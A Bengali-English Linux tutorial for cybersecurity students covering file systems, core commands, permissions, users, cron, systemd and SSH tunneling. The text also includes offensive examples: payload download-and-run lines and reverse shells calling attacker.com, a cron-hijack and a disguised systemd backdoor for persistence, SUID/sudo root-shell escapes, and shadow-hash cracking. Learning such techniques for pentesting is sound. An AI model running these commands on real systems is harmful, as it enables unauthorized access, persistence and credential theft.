Linux for Cyber Security

Linux for Cyber Security — Complete Guide

From Linux basics to Privilege Escalation, Forensics, Hardening, and Kali Linux Tools — everything you need for cybersecurity in one place.

```
root@kali:~# whoami
future_cybersecurity_expert
root@kali:~# cat mission.txt
Learn Linux → Learn to Hack → Learn to Defend
```

📂 ফাইল সিস্টেম | 👤 User Management | 🔐 Permissions | 🌐 Networking | ⚙️ Process Management | 🛡️ Hardening | ⬆️ Privilege Escalation | 🔍 Forensics | 📜 Shell Scripting | 🔧 Kali Linux Tools

📋 Table of Contents — Full List

০১ Linux পরিচিতি ও ইতিহাস

Linux কী, Kernel, Distribution, Why Linux for Cyber Security?

Kali vs Parrot vs Ubuntu vs Arch

০২ Linux ফাইল সিস্টেম ও ডিরেক্টরি

FHS — Filesystem Hierarchy Standard, প্রতিটি ডিরেক্টরির কাজ

Security-Critical Files & Directories

০৩ Linux বেসিক কমান্ড (সম্পূর্ণ)

Navigation, File Operations, Text Processing

grep, awk, sed, find, xargs — Power Tools

Pipe, Redirection, Wildcards

০৪ ফাইল পার্মিশন ও Access Control

rwx, Octal Notation, chmod, chown, chgrp

SUID, SGID, Sticky Bit — Privilege Escalation ভেক্টর

ACL, umask

০৫ User ও Group ব্যবস্থাপনা

/etc/passwd, /etc/shadow, /etc/group

useradd, usermod, passwd, sudo

sudoers ফাইল ও Privilege Escalation

০৬ প্রসেস ব্যবস্থাপনা

- ps, top, htop, kill, jobs, bg, fg
- Cron Jobs — Persistence ও Automation
- systemd ও Service Management

০৭ নেটওয়ার্কিং কমান্ড

- ip, ifconfig, netstat, ss, route
- SSH বিস্তারিত, Port Forwarding, Tunneling
- Firewall — iptables ও ufw

০৮ Linux সিকিউরিটি হার্ডেনিং

- SSH Hardening, Firewall Setup
- Fail2Ban, PAM, AppArmor/SELinux
- Audit & Monitoring

০৯ Privilege Escalation (Linux)

- SUID/SGID Exploit, Sudo Misconfig
- Cron Job Hijack, PATH Injection, Kernel Exploit
- LinPEAS, GTFOBins — Enumeration টুল

১০ Log ব্যবস্থাপনা ও Forensics

- গুরুত্বপূর্ণ Log ফাইল, journalctl
- Incident Response, Analyzing a Compromised System
- File Carving, Metadata Analysis

১১ Shell Scripting for Security

- Bash Scripting মূল ধারণা

Security Automation Script

Reverse Shell Script

১২ Kali Linux — সম্পূর্ণ টুল গাইড

Reconnaissance, Scanning, Exploitation

Post-Exploitation, Password Attacks, Wireless

Metasploit Framework বিস্তারিত

CHAPTER 01

🐧 Introduction to Linux & History

What is Linux, why learn it, which distribution to use

What is Linux?

Linux হলো একটি ওপেন সোর্স অপারেটিং সিস্টেম Kernel যা ১৯৯১ সালে **Linus Torvalds** তৈরি করেছিলেন। এটি Unix-এর আদলে তৈরি কিন্তু সম্পূর্ণ আলাদা কোড। Linux Kernel + GNU Tools + অন্যান্য সফটওয়্যার মিলে একটি পূর্ণাঙ্গ OS তৈরি হয় যাকে Linux Distribution বলে।

```
Linux Architecture:

┌──────────────────────────────────────────┐
│              User Space                  │
│  ┌─────────┐ ┌─────────┐ ┌──────────────┐ │
│  │  bash   │ │ Firefox │ │  Wireshark   │ │
│  └────┬────┘ └────┬────┘ └──────┬───────┘ │
│       │           │             │         │
│  ┌────▼───────────▼─────────────▼────────┐ │
│  │        GNU C Library (glibc)          │ │
│  └──────────────┬────────────────────────┘ │
└─────────────────┼──────────────────────────┘
                  │ System Calls
┌─────────────────▼──────────────────────────┐
│              Kernel Space                  │
│  ┌──────────┐ ┌──────────┐ ┌────────────┐ │
│  │ Process  │ │ Memory   │ │   Network  │ │
│  │ Manager  │ │ Manager  │ │   Stack    │ │
│  └──────────┘ └──────────┘ └────────────┘ │
│  ┌──────────────────────────────────────┐│
│  │        Device Drivers                ||
```

```
│  └──────────────────────────────────────────┘│
└──────────────────────────────────────────────┘

              Hardware (CPU, RAM, Disk)
```

What is a Kernel?

Kernel হলো OS-এর কেন্দ্রীয় অংশ। এটি Hardware ও Software-এর মধ্যে মধ্যস্থতা করে। সিকিউরিটির দৃষ্টিকোণ থেকে — Kernel Exploit হলো সবচেয়ে শক্তিশালী অ্যাটাক কারণ এটি পুরো সিস্টেমের নিয়ন্ত্রণ দেয়।

Why Linux for Cyber Security?

✅ Linux ব্যবহারের কারণ

- বেশিরভাগ সার্ভার Linux চালায় (৯০%+)
- Kali, Parrot — সব hacking OS Linux-based
- Command-line শক্তিশালী automation
- ওপেন সোর্স — সোর্স কোড দেখা যায়
- Root access সহজ
- সব সিকিউরিটি টুল Linux-এ চলে
- Memory ও Process সহজে বিশ্লেষণ

⚠️ Linux ছাড়া Hacking কঠিন কেন?

- Metasploit, Nmap, Wireshark সব Linux-optimized
- Windows-এ অনেক টুল কাজ করে না
- Shell scripting automation
- CTF সব Linux-এ
- Bug Bounty Lab environment
- Docker, VirtualBox management

- Penetration Testing certifications (OSCP) সব Linux

Linux Distributions Comparison

Distribution	Base	উদ্দেশ্য	সিকিউরিটি ব্যবহার	কঠিনতা
Kali Linux	Debian	Penetration Testing	⭐⭐⭐⭐⭐ সেরা	মাঝারি
Parrot OS	Debian	Security + Privacy	⭐⭐⭐⭐ ভালো	সহজ
Ubuntu	Debian	General Purpose	⭐⭐⭐ ঠিক আছে	সহজ
Arch Linux	Independent	Customizable	⭐⭐⭐ কাস্টম	কঠিন
BlackArch	Arch	Pentesting	⭐⭐⭐⭐⭐ ২৮০০+ টুল	কঠিন
REMnux	Ubuntu	Malware Analysis	⭐⭐⭐⭐⭐ Forensics	মাঝারি
TAILS	Debian	Anonymity	⭐⭐⭐⭐ Privacy	সহজ
Fedora	RPM	Development	⭐⭐⭐ SELinux built-in	মাঝারি

> 💡 **Suggestion for You**
>
> তুমি Kali Linux ব্যবহার করো — এটাই সঠিক পছন্দ। Kali-তে ৬০০+ সিকিউরিটি টুল pre-installed। তবে Kali-কে daily driver হিসেবে ব্যবহার না করে VirtualBox-এ রাখাই ভালো।

Linux vs Windows — Security Perspective

বিষয়	Linux	Windows
ডিফল্ট User	Non-root (নিরাপদ)	Admin (ঝুঁকিপূর্ণ)
ভাইরাস সংখ্যা	অনেক কম	লক্ষাধিক

বিষয়	Linux	Windows
Source Code	Open (দেখা যায়)	Closed (লুকানো)
Patching	দ্রুত	ধীর
Log Access	সহজ (/var/log)	Event Viewer (জটিল)
Process Control	শক্তিশালী	সীমিত
Attack টার্গেট	সার্ভার অ্যাটাক বেশি	Desktop অ্যাটাক বেশি

CHAPTER 02

📂 Linux File System & Directories

FHS — Purpose of all directories and security-critical files

Filesystem Hierarchy Standard (FHS)

Linux-এ সব কিছু একটি root (/) ডিরেক্টরি থেকে শুরু হয়। Windows-এর মতো C:\ D:\ নেই — সব কিছু একটি tree structure-এ।

```
/ (Root)
├── bin/      → Essential commands (ls, cp, mv, cat)
├── boot/     → Boot files, GRUB, Linux Kernel
├── dev/      → Device files (sda, tty, null, random)
├── etc/      → ★ System configuration files [সবচেয়ে গুরুত্বপূর্ণ!]
├── home/     → User home directories (/home/saimum)
├── lib/      → Shared libraries
├── media/    → Removable media mount points
├── mnt/      → Temporary mount points
├── opt/      → Optional/third-party software
├── proc/     → ★ Virtual filesystem — running processes
├── root/     → ★ Root user's home directory
├── run/      → Runtime data (PIDs, sockets)
├── sbin/     → System binaries (admin commands)
├── srv/      → Service data (web server files)
├── sys/      → Virtual filesystem — kernel/hardware
├── tmp/      → ⚠ Temporary files (world-writable!)
├── usr/      → User programs and data
│   ├── bin/   → User commands
│   ├── lib/   → Libraries
│   ├── local/ → Locally installed software
│   └── share/ → Shared data
```

```
└── var/      → ★ Variable data (logs, mail, databases)
    ├── log/   → System logs
    ├── www/   → Web server files
    └── mail/  → Mail spool
```

সিকিউরিটি-গুরুত্বপূর্ণ ফাইল ও ডিরেক্টরি

/etc — Configuration Files

ফাইল	কাজ	সিকিউরিটি গুরুত্ব
/etc/passwd	User অ্যাকাউন্ট তথ্য	⭐⭐⭐⭐⭐ সব user দেখা যায়
/etc/shadow	Hashed পাসওয়ার্ড	⭐⭐⭐⭐⭐ Root only! Crack করা যায়
/etc/group	Group তথ্য	⭐⭐⭐⭐ Group membership
/etc/sudoers	Sudo অনুমতি	⭐⭐⭐⭐⭐ Privilege Escalation!
/etc/ssh/sshd_config	SSH সার্ভার কনফিগ	⭐⭐⭐⭐⭐ Remote access নিয়ন্ত্রণ
/etc/hosts	Local DNS	⭐⭐⭐ DNS Spoofing সম্ভব
/etc/crontab	Scheduled tasks	⭐⭐⭐⭐⭐ Persistence!
/etc/fstab	Filesystem mount	⭐⭐⭐ Mount point info
/etc/network/interfaces	নেটওয়ার্ক কনফিগ	⭐⭐⭐ Network setup
/etc/iptables/rules.v4	Firewall rules	⭐⭐⭐⭐⭐ Security rules
/etc/environment	System environment	⭐⭐⭐ PATH injection
/etc/profile	Login shell script	⭐⭐⭐⭐ Persistence

/proc — Running System Information

```
# /proc ভার্চুয়াল ফাইলসিস্টেম — RAM-এ থাকে, disk-এ নয় cat /proc/version # Kernel version cat /proc/cpuinfo # CPU তথ্য cat /proc/meminfo # মেমোরি তথ্য cat /proc/net/tcp # নেটওয়ার্ক সংযোগ cat /proc/1/maps # PID 1-এর মেমোরি ম্যাপ ls /proc/ # প্রতিটি নম্বর = একটি চলমান process cat /proc/self/environ # বর্তমান process-এর environment
```

/var/log — Log Files

Log ফাইল	কী থাকে	সিকিউরিটি ব্যবহার
/var/log/auth.log	Authentication ইভেন্ট	Login attempt, sudo use ট্র্যাক
/var/log/syslog	System messages	System activity মনিটর
/var/log/kern.log	Kernel messages	Kernel exploit চেষ্টা
/var/log/apache2/access.log	Web requests	Web attack detection
/var/log/apache2/error.log	Web errors	Exploitation চেষ্টা
/var/log/fail2ban.log	Blocked IPs	Brute force detection
/var/log/wtmp	Login history	last কমান্ড দিয়ে পড়া
/var/log/btmp	Failed logins	lastb কমান্ড দিয়ে পড়া

Home Directory — Hidden Files

```
# হ্যাকার যখন access পায়, প্রথমে এগুলো খোঁজে: ~/.ssh/id_rsa # ★★★★★ SSH Private Key! ~/.ssh/authorized_keys # কোন key দিয়ে login করা যাবে ~/.ssh/known_hosts # আগে connect করা host list ~/.bash_history # ★★★★ আগের সব command! ~/.bashrc # Shell startup script ~/.profile # Login shell config ~/.netrc # FTP/HTTP credentials! ~/.aws/credentials #
```

```
★★★★★ AWS Secret Keys! ~/.gitconfig # Git configuration
~/.mysql_history # MySQL command history ~/.viminfo # Vim history
```

> ⚠️ **Pentest টিপ: প্রথমে এগুলো চেক করো**
>
> যখন কোনো সিস্টেমে access পাবে, প্রথমেই `~/.bash_history` , `~/.ssh/` এবং `/etc/shadow` চেক করো। প্রায়ই এখানে পাসওয়ার্ড বা SSH key পাওয়া যায়।

Special Files — /dev

```
/dev/null # ব্ল্যাকহোল — যা পাঠাবে মুছে যাবে /dev/zero # অসীম শূন্য byte stream
/dev/random # র‍্যান্ডম data (Cryptography) /dev/urandom # দ্রুত র‍্যান্ডম data
/dev/sda # প্রথম হার্ড ড্রাইভ /dev/tty # বর্তমান terminal /dev/pts/ # Pseudo-
terminal (SSH session) # উদাহরণ ব্যবহার: cat /dev/null # কিছুই দেখাবে না dd
if=/dev/urandom of=key.bin bs=32 count=1 # Random key তৈরি ls -la
/dev/pts/ # কতটি SSH session চলছে
```

Everything is a File in Linux

Linux-এর মূল দর্শন — "Everything is a file"। ডিভাইস, প্রসেস, নেটওয়ার্ক সংযোগ — সব কিছু ফাইল হিসেবে উপস্থাপন করা হয়।

```
# নেটওয়ার্ক socket → ফাইল ls -la /proc/net/tcp # Process → ফাইল ls -la
/proc/1234/ # Hard drive → ফাইল file /dev/sda # Keyboard → ফাইল cat
/dev/input/event0
```

CHAPTER 03

⌨️ Linux Basic Commands — Complete Reference

All commands from Navigation to Power Tools

Navigation Commands

```
# বর্তমান অবস্থান pwd # Print Working Directory # ডিরেক্টরি পরিবর্তন cd /var/log
# নির্দিষ্ট পথে যাও cd ~ # Home directory-তে যাও cd .. # এক level উপরে cd
../.. # দুই level উপরে cd - # আগের directory-তে ফিরে যাও # ফাইল/ডিরেক্টরি
দেখা ls # বেসিক লিস্ট ls -la # ★ সব details সহ (hidden ফাইল সহ) ls -lah #
Human readable সাইজ ls -lt # সময় অনুযায়ী sort ls -lR /etc # Recursive লিস্ট
tree /etc -L 2 # Tree structure (2 level)
```

File Operations

```
# ফাইল তৈরি touch file.txt # খালি ফাইল তৈরি touch -t 202301011200 f # নির্দিষ্ট
timestamp দিয়ে mkdir mydir # ডিরেক্টরি তৈরি mkdir -p a/b/c # nested ডিরেক্টরি #
ফাইল কপি/মুভ cp file.txt backup/ # কপি cp -r dir/ backup/ # ডিরেক্টরি কপি mv
file.txt /tmp/ # মুভ বা রিনেম # ফাইল মুছা rm file.txt # ফাইল মুছা rm -rf
directory/ # ⚠️ Force delete (সাবধান!) shred -vzu file.txt # নিরাপদে মুছা
(Forensics evidence নষ্ট) # ফাইল পড়া cat file.txt # পুরো ফাইল দেখা less
file.txt # Scrollable view more file.txt # Page by page head -20 file.txt
# প্রথম ২০ লাইন tail -20 file.txt # শেষ ২০ লাইন tail -f /var/log/syslog #
★ Real-time log দেখা # ফাইল তথ্য file unknown_binary # ফাইলের ধরন জানা
stat file.txt # বিস্তারিত metadata wc -l file.txt # লাইন সংখ্যা wc -c file.txt
# byte সংখ্যা
```

Text Processing — Most Important

grep — Pattern Searching

```
# মূল syntax: grep [option] pattern file grep "password" config.php # "password" শব্দ খোঁজা grep -i "password" config.php # Case insensitive grep -r "password" /var/www/ # ★ Recursive search grep -n "error" log.txt # Line number সহ grep -v "comment" file.txt # বাদ দিয়ে দেখাও grep -E "admin|root|password" f # Extended regex grep -l "password" *.php # শুধু ফাইলের নাম grep -c "error" log.txt # কতবার আছে গুনে দাও grep -A 3 "error" log.txt # মিলের পরে ৩ লাইন grep -B 3 "error" log.txt # মিলের আগে ৩ লাইন # ★ Pentest-এ grep ব্যবহার grep -r "password\|passwd\|secret\|key\|token" /var/www/ 2>/dev/null grep -r "DB_PASSWORD\|DATABASE_PASSWORD" /var/www/ 2>/dev/null grep -rn "eval\|base64_decode\|system\|exec" /var/www/ # Webshell খোঁজা
```

find — Finding Files

```
# মূল syntax: find [path] [options] [expression] find / -name "*.php" # সব PHP ফাইল find / -name "passwd" 2>/dev/null # passwd নামের ফাইল find / -type f -perm -4000 2>/dev/null # ★★★ SUID ফাইল! find / -type f -perm -2000 2>/dev/null # ★ SGID ফাইল find / -writable -type d 2>/dev/null # Write করা যায় এমন dir find / -mtime -1 2>/dev/null # গত ২৪ ঘণ্টায় পরিবর্তিত find / -size +100M 2>/dev/null # ১০০MB-এর বড় ফাইল find /tmp -type f -name "*.sh" # /tmp-এ shell script find / -user root -writable 2>/dev/null # root-owned কিন্তু writable find / -nouser 2>/dev/null # কোনো owner নেই find . -name "*.conf" -exec cat {} \; # খুঁজে পেলে cat করো
```

awk — Data Processing

```
# /etc/passwd থেকে username বের করা awk -F: '{print $1}' /etc/passwd # প্রথম ও তৃতীয় কলাম awk -F: '{print $1, $3}' /etc/passwd # শুধু UID 0 (root) user awk -F: '$3 == 0 {print $1}' /etc/passwd # Log থেকে IP address বের
```

```
করা awk '{print $1}' /var/log/apache2/access.log | sort | uniq -c | sort
-rn # নির্দিষ্ট pattern-এ লাইন awk '/error/ {print NR": "$0}' log.txt
```

sed — Stream Editor

```
# Text প্রতিস্থাপন sed 's/old/new/g' file.txt # সব জায়গা replace sed -i
's/password/REDACTED/g' f # ফাইলে সরাসরি পরিবর্তন # নির্দিষ্ট লাইন মুছা sed
'/^#/d' config.txt # comment লাইন মুছা sed -n '5,10p' file.txt # ৫ থেকে ১০
লাইন দেখাও
```

Pipe & Redirection

```
# Redirection echo "Hello" > file.txt # ফাইলে লেখা (overwrite) echo
"World" >> file.txt # ফাইলে যোগ করা (append) cat file.txt 2>/dev/null #
Error বাদ দেওয়া cat file.txt 2>&1 # Error ও Output একসাথে cat file.txt >
out.txt 2>&1 # সব ফাইলে সেভ # Pipe — এক কমান্ডের output অন্যটির input cat
/etc/passwd | grep bash # bash shell user ps aux | grep apache # apache
process netstat -tulnp | grep LISTEN # listening পোর্ট cat log.txt | sort |
uniq # unique লাইন cat access.log | awk '{print $1}' | sort | uniq -c |
sort -rn | head -10 # উপরে: Top 10 IP address by request count # xargs —
argument হিসেবে পাঠানো find / -name "*.conf" | xargs grep "password"
2>/dev/null cat hosts.txt | xargs -I{} nmap -sV {} # প্রতিটি host scan
```

System Information Commands

```
# Kernel ও OS তথ্য uname -a # ★ Kernel version (Exploit খোঁজার জন্য) uname
-r # শুধু Kernel version cat /etc/os-release # OS তথ্য cat /etc/issue # OS
banner lsb_release -a # Distro তথ্য # Hardware তথ্য lscpu # CPU তথ্য free -h
# RAM ব্যবহার df -h # Disk ব্যবহার lsblk # Block device lspci # PCI device
lsusb # USB device # Environment env # সব environment variable echo $PATH
# PATH variable echo $HOME # Home directory echo $SHELL # বর্তমান shell
printenv # env-এর মতো # User তথ্য whoami # বর্তমান user id # UID, GID,
```

```
Groups who # login করা সব user w # বিস্তারিত user activity last # Login history lastlog # সব user-এর শেষ login history # কমান্ড history
```

Archive & Compression

```
# tar — সবচেয়ে বেশি ব্যবহৃত tar -czf archive.tar.gz /var/www/ # Compress করে archive tar -xzf archive.tar.gz # Extract করা tar -tzf archive.tar.gz # Contents দেখা # zip/unzip zip -r backup.zip /var/www/ unzip backup.zip -d /tmp/ # ★ Pentest: CTF-এ প্রায়ই archive-এ flag লুকানো থাকে binwalk firmware.bin # Binary-এর ভেতরে hidden file file suspicious.jpg # সত্যিই image কিনা? strings binary_file | grep flag # Strings বের করা
```

wget & curl — Data Download

```
# wget wget https://example.com/file.zip # ফাইল ডাউনলোড wget -r -np https://example.com/ # পুরো সাইট mirror wget -q -O - https://api.com/data # Output to stdout # curl — আরও শক্তিশালী curl https://example.com # GET request curl -I https://example.com # শুধু Header curl -X POST -d "user=admin&pass=1234" https://example.com/login curl -H "Cookie: session=abc" https://example.com/admin curl -u admin:password https://api.com # Basic auth curl --proxy http://127.0.0.1:8080 https://target.com # Burp Proxy # ★ Payload download (Post-exploitation) wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh curl http://attacker.com/shell.sh | bash
```

CHAPTER 04

🔒 File Permissions & Access Control

rwx, chmod, SUID/SGID — Core of Privilege Escalation

How do Permissions Work?

```
ls -la /etc/passwd এর output:

-rw-r--r-- 1 root root 2847 Jan 10 12:00 /etc/passwd
|||||||||└── File name
|||||||||
|||||||└─── Group permission: r-- (read only)
|||||└────── Owner permission: rw- (read+write)
|||└─────── File type: - (regular file)
|||
|||  মোট ৯ বিট = ৩ সেট × ৩ বিট (rwx)
|||
||├────────── Owner (user)
|└─────────── Group
└──────────── Others (everyone else)
```

পার্মিশনের মান

Symbol	বাইনারি	মান	অর্থ
r	100	4	Read — পড়তে পারবে
w	010	2	Write — লিখতে পারবে

Symbol	বাইনারি	মান	অর্থ
x	001	1	Execute — চালাতে পারবে
-	000	0	কোনো permission নেই

Octal (সংখ্যা) দিয়ে পার্মিশন

```
# chmod দিয়ে পার্মিশন পরিবর্তন chmod 755 script.sh # rwxr-xr-x → সাধারণ executable chmod 644 file.txt # rw-r--r-- → সাধারণ ফাইল chmod 600 private.key # rw------- → শুধু owner পড়তে পারবে chmod 777 file.txt # ⚠️ rwxrwxrwx → সবাই সব পারবে (বিপজ্জনক!) chmod 000 file.txt # ---------- → কেউ কিছু করতে পারবে না # Symbolic দিয়ে chmod u+x script.sh # Owner-এ execute যোগ chmod g-w file.txt # Group থেকে write সরানো chmod o=r file.txt # Others শুধু read chmod a+x script.sh # সবাইকে execute chmod -R 755 /var/www/ # Recursive # chown — Owner পরিবর্তন chown root:root file.txt # owner:group পরিবর্তন chown -R www-data:www-data /var/www/
```

SUID, SGID, Sticky Bit — Security Critical

SUID (Set User ID) — সবচেয়ে বিপজ্জনক

SUID বিট থাকলে ফাইলটি owner-এর privilege দিয়ে চলে, চালানো user-এর নয়। যেমন `/usr/bin/passwd` — সাধারণ user root হিসেবে /etc/shadow পরিবর্তন করতে পারে।

```
# SUID ফাইল চেনা — ls-এ 's' দেখা যায় ls -la /usr/bin/passwd -rwsr-xr-x 1 root root 63736 /usr/bin/passwd # ↑ এই 's' মানে SUID আছে # সব SUID ফাইল খোঁজা find / -perm -4000 -type f 2>/dev/null find / -perm -u=s -type f 2>/dev/null # ★★★ Privilege Escalation: SUID দিয়ে root shell # উদাহরণ: nmap-এ SUID থাকলে nmap --interactive !sh # root shell পাওয়া যাবে! # উদাহরণ: find-এ SUID থাকলে find . -exec /bin/sh \; -quit # উদাহরণ: vim-এ SUID থাকলে vim -c ':!/bin/sh'
```

> ⚠️ **SUID — Privilege Escalation-এর সোনার খনি**

> যদি কোনো SUID ফাইল custom বা অপ্রচলিত হয়, সেটি দিয়ে root access পাওয়া প্রায়ই সম্ভব। GTFOBins (gtfobins.github.io) ওয়েবসাইটে সব SUID exploit পাওয়া যায়।

Sticky Bit

Sticky Bit থাকলে /tmp ডিরেক্টরিতে শুধু ফাইলের owner মুছতে পারবে।

```
ls -la /tmp drwxrwxrwt 16 root root 4096 /tmp # ↑ 't' = sticky bit chmod
+t /shared_dir # Sticky bit যোগ
```

umask — Default Permissions

```
umask # বর্তমান umask দেখা (সাধারণত 022) # umask 022 মানে: # ফাইল তৈরি হবে:
666 - 022 = 644 (rw-r--r--) # ডিরেক্টরি তৈরি হবে: 777 - 022 = 755 (rwxr-xr-x)
umask 077 # শুধু owner পড়তে পারবে (সর্বোচ্চ নিরাপদ)
```

CHAPTER 05

🥷 User & Group Management

/etc/passwd, /etc/shadow, sudo — Core Pentest Targets

/etc/passwd — User Database

```
cat /etc/passwd # Format: username:x:UID:GID:comment:home:shell
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin www-
data:x:33:33::/var/www:/usr/sbin/nologin
saimum:x:1000:1000::/home/saimum:/bin/bash # বিশ্লেষণ: # root:x:0:0:... # ↑
↑ ↑ ↑ # | | | └── GID (Group ID) # | | └──── UID (User ID) → 0 মানে root!
# | └────── 'x' মানে password /etc/shadow-এ # └──────────── username # ★
Pentest: shell থাকা user দেখা grep -v 'nologin\|false' /etc/passwd | awk -
F: '{print $1}' # UID 0 user (root-level) awk -F: '$3 == 0 {print $1}'
/etc/passwd
```

/etc/shadow — Password Database

```
# শুধু root পড়তে পারে! cat /etc/shadow # Format:
username:hash:lastchange:min:max:warn:inactive:expire
root:$6$rounds=5000$xyz$HASH...:19000:0:99999:7::: # Hash type চেনা: # $1$
= MD5 (দুর্বল) # $2a$ = Bcrypt # $5$ = SHA-256 # $6$ = SHA-512 (সাধারণ Linux)
# '!' বা '*' = account locked # Hash crack করা unshadow /etc/passwd
/etc/shadow > combined.txt john combined.txt --
wordlist=/usr/share/wordlists/rockyou.txt hashcat -m 1800 shadow_hash.txt
rockyou.txt # SHA-512
```

User Management Commands

```
# User তৈরি useradd -m -s /bin/bash saimum # Home dir সহ user তৈরি useradd -m -G sudo saimum # sudo group-এ যোগ passwd saimum # পাসওয়ার্ড সেট # User পরিবর্তন usermod -aG sudo saimum # sudo group-এ যোগ usermod -s /bin/bash saimum # shell পরিবর্তন usermod -L saimum # account lock usermod -U saimum # unlock # User মুছা userdel saimum # শুধু user userdel -r saimum # home dir সহ # Group groupadd hackers # group তৈরি groupdel hackers # group মুছা groups saimum # user-এর group
```

sudo — The Most Important Command

```
# sudo কমান্ড sudo command # root হিসেবে চালাও sudo -l # ★ কী কী sudo করতে পারি? sudo -u www-data command # অন্য user হিসেবে sudo su # root shell sudo -s # root shell (environment রেখে) # /etc/sudoers ফাইল visudo # নিরাপদে sudoers edit # Format: who where=(as_whom) command root ALL=(ALL:ALL) ALL saimum ALL=(ALL) /usr/bin/vim # শুধু vim saimum ALL=(ALL) NOPASSWD: ALL # ★ পাসওয়ার্ড ছাড়া সব! %sudo ALL=(ALL:ALL) ALL # sudo group # ★ Privilege Escalation via sudo sudo -l User saimum may run: (ALL) /usr/bin/vim # vim দিয়ে root shell: sudo vim -c ':!/bin/bash' # NOPASSWD sudo — instant root sudo /bin/bash
```

⚠️ **Privilege Escalation: sudo -l সবার আগে চালাও**

যখন কোনো সিস্টেমে normal user হিসেবে access পাবে, সাথে সাথে `sudo -l` চালাও। অনেক সময় NOPASSWD পাবে বা কোনো binary-তে sudo access পাবে যা দিয়ে root shell পাওয়া যায়।

su — User Switch

```
su root # root-এ switch (পাসওয়ার্ড লাগবে) su - saimum # সম্পূর্ণ login
(environment সহ) su -c "command" saimum # অন্য user-এ কমান্ড চালানো
```

CHAPTER 06

Process Management & Cron Jobs

Core of Persistence, Backdoor & Automation

What is a Process?

প্রোগ্রাম চালু হলে একটি Process তৈরি হয়। প্রতিটি Process-এর একটি PID (Process ID) আছে।

```
# প্রসেস দেখা ps aux # সব প্রসেস (a=all, u=user, x=no-tty) ps aux | grep apache # নির্দিষ্ট প্রসেস ps -ef # Full format ps -eo pid,ppid,user,cmd # কাস্টম কলাম top # Real-time process monitor htop # উন্নত process monitor pstree # Process tree দেখা # Process বন্ধ করা kill 1234 # PID দিয়ে (SIGTERM) kill -9 1234 # Force kill (SIGKILL) killall apache2 # নাম দিয়ে সব kill pkill -u saimum # একজন user-এর সব process # Background/Foreground command & # Background-এ চালাও jobs # Background job দেখা fg %1 # Foreground-এ আনো bg %1 # Background-এ পাঠাও nohup command & # Terminal বন্ধ হলেও চলবে screen -S mysession # Detachable session tmux new -s hack # Terminal multiplexer
```

Cron Jobs — Scheduled Tasks

Cron হলো Linux-এর Task Scheduler। সিকিউরিটিতে দুটো দিক — Automation এবং Persistence (হ্যাকার backdoor বসায়)।

```
# Cron Syntax: # ┌──── মিনিট (0-59) # │ ┌── ঘণ্টা (0-23) # │ │ ┌─ দিন (1-31) # │ │ │ ┌ মাস (1-12) # │ │ │ │ ┌ বার (0-7, 0=Sun) # │ │ │ │ │ # * * * * * command # উদাহরণ 0 * * * * /script.sh # প্রতি ঘণ্টায় 0 2 * * * /backup.sh # প্রতিদিন রাত ২টায় */5 * * * * /check.sh # প্রতি ৫ মিনিটে 0 0 * * 0 /weekly.sh # প্রতি রবিবার মধ্যরাতে @reboot /startup.sh # বুটের সময় # Cron পরিচালনা crontab -l # বর্তমান user-এর cron crontab -e # Edit করা crontab -l -u root # root-এর cron # সব cron ফাইল দেখা cat /etc/crontab ls
```

```
/etc/cron.d/ ls /etc/cron.daily/ ls /etc/cron.hourly/ # ★ Pentest: Cron Job Hijack # যদি root-এর cron script world-writable হয়: ls -la /usr/local/bin/backup.sh # -rwxrwxrwx root root backup.sh ← সবাই লিখতে পারে! echo "bash -i >& /dev/tcp/attacker.com/4444 0>&1" >> /usr/local/bin/backup.sh # পরের বার cron চললে reverse shell পাবে!
```

systemd — Service Management

```
# Service চালু/বন্ধ systemctl start apache2 # চালু systemctl stop apache2 # বন্ধ systemctl restart apache2 # পুনরায় চালু systemctl enable apache2 # বুটে auto-start systemctl disable apache2 # auto-start বন্ধ systemctl status apache2 # স্ট্যাটাস systemctl list-units --type=service # সব service # Log দেখা journalctl -u apache2 # service log journalctl -f # Real-time log journalctl --since "1 hour ago" # গত ১ ঘণ্টার log # ★ Persistence: Custom service cat > /etc/systemd/system/backdoor.service << EOF [Unit] Description=System Update Service [Service] ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' Restart=always [Install] WantedBy=multi-user.target EOF systemctl enable backdoor
```

CHAPTER 07

🌐 Linux Networking কমান্ড

SSH Tunneling, Port Forwarding, iptables — Everything

Network Interface Commands

```
# Interface দেখা ip addr show # সব interface ও IP ip addr show eth0 # নির্দিষ্ট interface ifconfig # পুরনো কিন্তু এখনো ব্যবহৃত ip link show # Link layer তথ্য # Routing ip route show # Routing table route -n # Routing table (পুরনো) ip route add 10.10.10.0/24 via 192.168.1.1 # Route যোগ # ARP arp -a # ARP cache ip neigh show # আধুনিক ARP দেখা # DNS cat /etc/resolv.conf # DNS server nslookup google.com # DNS lookup dig google.com # বিস্তারিত DNS dig @8.8.8.8 google.com # নির্দিষ্ট DNS server host google.com # সহজ lookup
```

Connection Monitoring

```
# সক্রিয় সংযোগ netstat -tulnp # ★ সব listening পোর্ট netstat -an # সব সংযোগ ss -tulnp # আধুনিক netstat ss -tp # TCP সংযোগ lsof -i # Open নেটওয়ার্ক ফাইল lsof -i :80 # পোর্ট ৮০ ব্যবহারকারী lsof -i TCP -n # TCP সংযোগ # ★ Pentest: কোন service চলছে? ss -tulnp | grep LISTEN netstat -tulnp 2>/dev/null | grep LISTEN
```

SSH — In Detail

```
# Basic SSH ssh [email protected] ssh -p 2222 user@server # কাস্টম পোর্ট ssh -i ~/.ssh/id_rsa user@server # Key দিয়ে login # ★ SSH Key তৈরি ও ব্যবহার
```

```
ssh-keygen -t ed25519 -C "mykey" # Key pair তৈরি ssh-copy-id user@server # Public key পাঠানো cat ~/.ssh/authorized_keys # অনুমোদিত key দেখা # ★ SSH Local Port Forwarding (Tunneling) # আমার মেশিনের 8080 → server-এর 80 ssh -L 8080:localhost:80 user@server # এরপর: http://localhost:8080 → server-এর port 80 # ★ SSH Remote Port Forwarding # server-এর 9090 → আমার মেশিনের 3389 (RDP bypass firewall) ssh -R 9090:localhost:3389 user@server # ★ SSH Dynamic Port Forwarding (SOCKS Proxy) ssh -D 1080 user@server # তারপর browser-এ SOCKS5 proxy: 127.0.0.1:1080 # Proxychains দিয়ে: proxychains nmap -sV 10.10.10.1 # SSH Config (~/.ssh/config) # Host targetserver # HostName 192.168.1.100 # User hacker # IdentityFile ~/.ssh/id_rsa # Port 2222 # তারপর: ssh targetserver
```

